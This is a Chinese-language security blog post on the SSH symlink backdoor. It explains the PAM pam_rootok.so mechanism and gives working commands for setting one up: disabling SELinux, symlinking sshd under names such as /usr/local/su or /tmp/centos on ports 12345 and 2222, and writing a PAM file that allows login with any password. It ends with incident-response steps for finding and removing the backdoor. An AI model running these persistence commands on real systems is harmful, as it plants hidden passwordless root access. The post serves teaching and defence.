SSH软链接后门利用和原理

admin 2024年11月20日14:20:11评论23 views字数 2670阅读8分54秒阅读模式

漏洞原理

主要是pam_rootok.so模块造成的漏洞

pam_rootok.so主要作用是使得uid为0的用户,即root用户可以直接通过认证而不需要输入密码。

1.PAM认证机制,若sshd服务中开启了PAM认证机制(默认开启),当程序执行时,PAM模块则会搜寻PAM相关设定文件,设定文件一般是在/etc/pam.d/。若关闭则会验证密码,无法建立软链接后门。

2.当我们通过特定的端口连接ssh后,应用在启动过程中就会去找到配置文件,如:我们的软链接文件为/tmp/su,那么应用就会找/etc/pam.d/su作为配置文件,那么则实现了无密登录。

通俗点来说,是sshd服务启用了PAM认证机制,在/etc/ssh/sshd_config文件中,设置UsePAM 为yes。如果不启用PAM,系统严格验证用户密码,不能建立后门。在/etc/pam.d/目录下,对应文件里包含"auth sufficient pam_rootok.so"配置,只要PAM配置文件中包含此配置即可SSH任意密码登录。

查看/etc/pam.d/su 文件中,我们可以看到使用了该模块,这也是为什么root用户切换至普通用户不需要密码的原因。

SSH软链接后门利用和原理

环境搭建

一、修改/etc/selinux/config文件中的SELINUX="" 为 disabled 。

二、判断sshd_config配置中的UsePAM参数是否为yes

cat /etc/ssh/sshd_config

SSH软链接后门利用和原理

三、确认对应的pam配置文件是否包含auth sufficient pam_rootok.so配置,只在包含这件配置才可以通过ssh任意密码登录。

SSH软链接后门利用和原理

四、创建软连接!

code1:使用ln命令创建root账户 ssh软链接后门命令
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345

命令解释:

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345ln -sf /usr/sbin/sshd /usr/local/su这部分命令使用 ln 命令创建一个符号链接。它将 /usr/local/su 设置为指向 /usr/sbin/sshd 的符号链接。这意味着如果你执行 /usr/local/su,实际上会启动 /usr/sbin/sshd-s:表示创建符号链接。-f:表示如果 /usr/local/su 已经存在,则强制覆盖它。/usr/local/su -oPort=12345前面那条命令创建了一个符号链接/usr/local/su指向了/usr/sbin/sshd,通俗的来讲执行/usr/local/su就相当于是在执行/usr/sbin/sshd那/usr/local/su -oPort=12345就相当于在执行/usr/sbin/sshd -oPort=12345-oPort=12345:通过 -o 指定了一个配置参数。在这里,Port=12345 意味着将监听端口设置为 12345,而不是默认的 SSH 端口(通常是 22)简单的来说这个命令将启动 SSH 服务器,并使其监听在端口 12345 上,从而允许客户端连接到该服务器。/usr/local/su 软连接 链接名是自定义的随便什么都可以(只要你写后面的时候你觉得够隐秘就可以)
code2:创建其它账户 ssh软连接后门命令

这里以centos用户举例

SSH软链接后门利用和原理

1、写一个 centos用户ssh登录用的PAM 配置

echo "  #%PAM-1.0 auth       sufficient   pam_rootok.so auth       include      system-auth account    include      system-auth password   include      system-auth session    include      system-auth " >> /etc/pam.d/centos

配置详细解释

#%PAM-1.0:这是一个注释行,PAM 配置文件通常以此开始,指示文件的版本。auth       sufficient   pam_rootok.so:这一行指定了身份验证部分的配置。它表示如果用户是 root(超级用户),则身份验证成功(sufficient),这意味着 root 用户无需进一步验证即可访问系统。auth       include      system-auth:这一行包含了 system-auth 配置文件中的内容,以进一步定义身份验证策略。通常,system-auth 包含了更复杂的身份验证规则和设置。account    include      system-auth:这一行包含了 system-auth 配置文件中的内容,用于账户户管理方面的配置。password   include      system-auth:同样,这一行包含了 system-auth 配置文件中的内容,用于密码策略的配置。session    include      system-auth:最后一行包含了 system-auth 配置文件中的内容,用于定义会话管理规则。

2、开启软连接

ln -sf /usr/sbin/sshd /tmp/centos;/tmp/centos -oPort=2222

漏洞利用

使用ssh远程连接即可

ssh root@192.168.142.138 -p 12345ssh centos@192.168.142.138 -p 2222

密码随便输

SSH软链接后门利用和原理

SSH软链接后门利用和原理

应急响应过程

1.查看开放的端口,是否存在异常端口

netstat -anpt

SSH软链接后门利用和原理

例如:

  • 大端口或者是非常见的端口号

  • 上面运行的服务没见过的就比如上图的centos和su

  • 有远程主机在远程连接本地非常见端口

2.查看PID所用的程序

命令:

ll /proc/1832#ls -al /proc/1832 命令的简写/proc/1832 不懂得可以百度一下,不想写了

SSH软链接后门利用和原理

3.确定软链接后门文件

SSH软链接后门利用和原理

查看所有的su文件,以及查找具体哪一个su是软链接后门

find / -name suls -al /etc/selinux/targeted/active/modules/100/suls -al /etc/pam.d/suls -al /usr/local/su

SSH软链接后门利用和原理

看到/usr/local/su软链接到/usr/sbin/sshd

4.最后删除软链接后门

rm -rf   /usr/local/su  kill -9 1832

如果有远程主机已经使用软连接已经远程连接主机需要提出在线用户或者删除掉这个进程

SSH软链接后门利用和原理

删除进程:

kill -9 2558

SSH软链接后门利用和原理

踢出在线用户:

wpkill -kill -t pts/1

SSH软链接后门利用和原理

原文始发于微信公众号(网络安全学习爱好者):SSH软链接后门利用和原理

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月20日14:20:11
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SSH软链接后门利用和原理https://cn-sec.com/archives/3411889.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息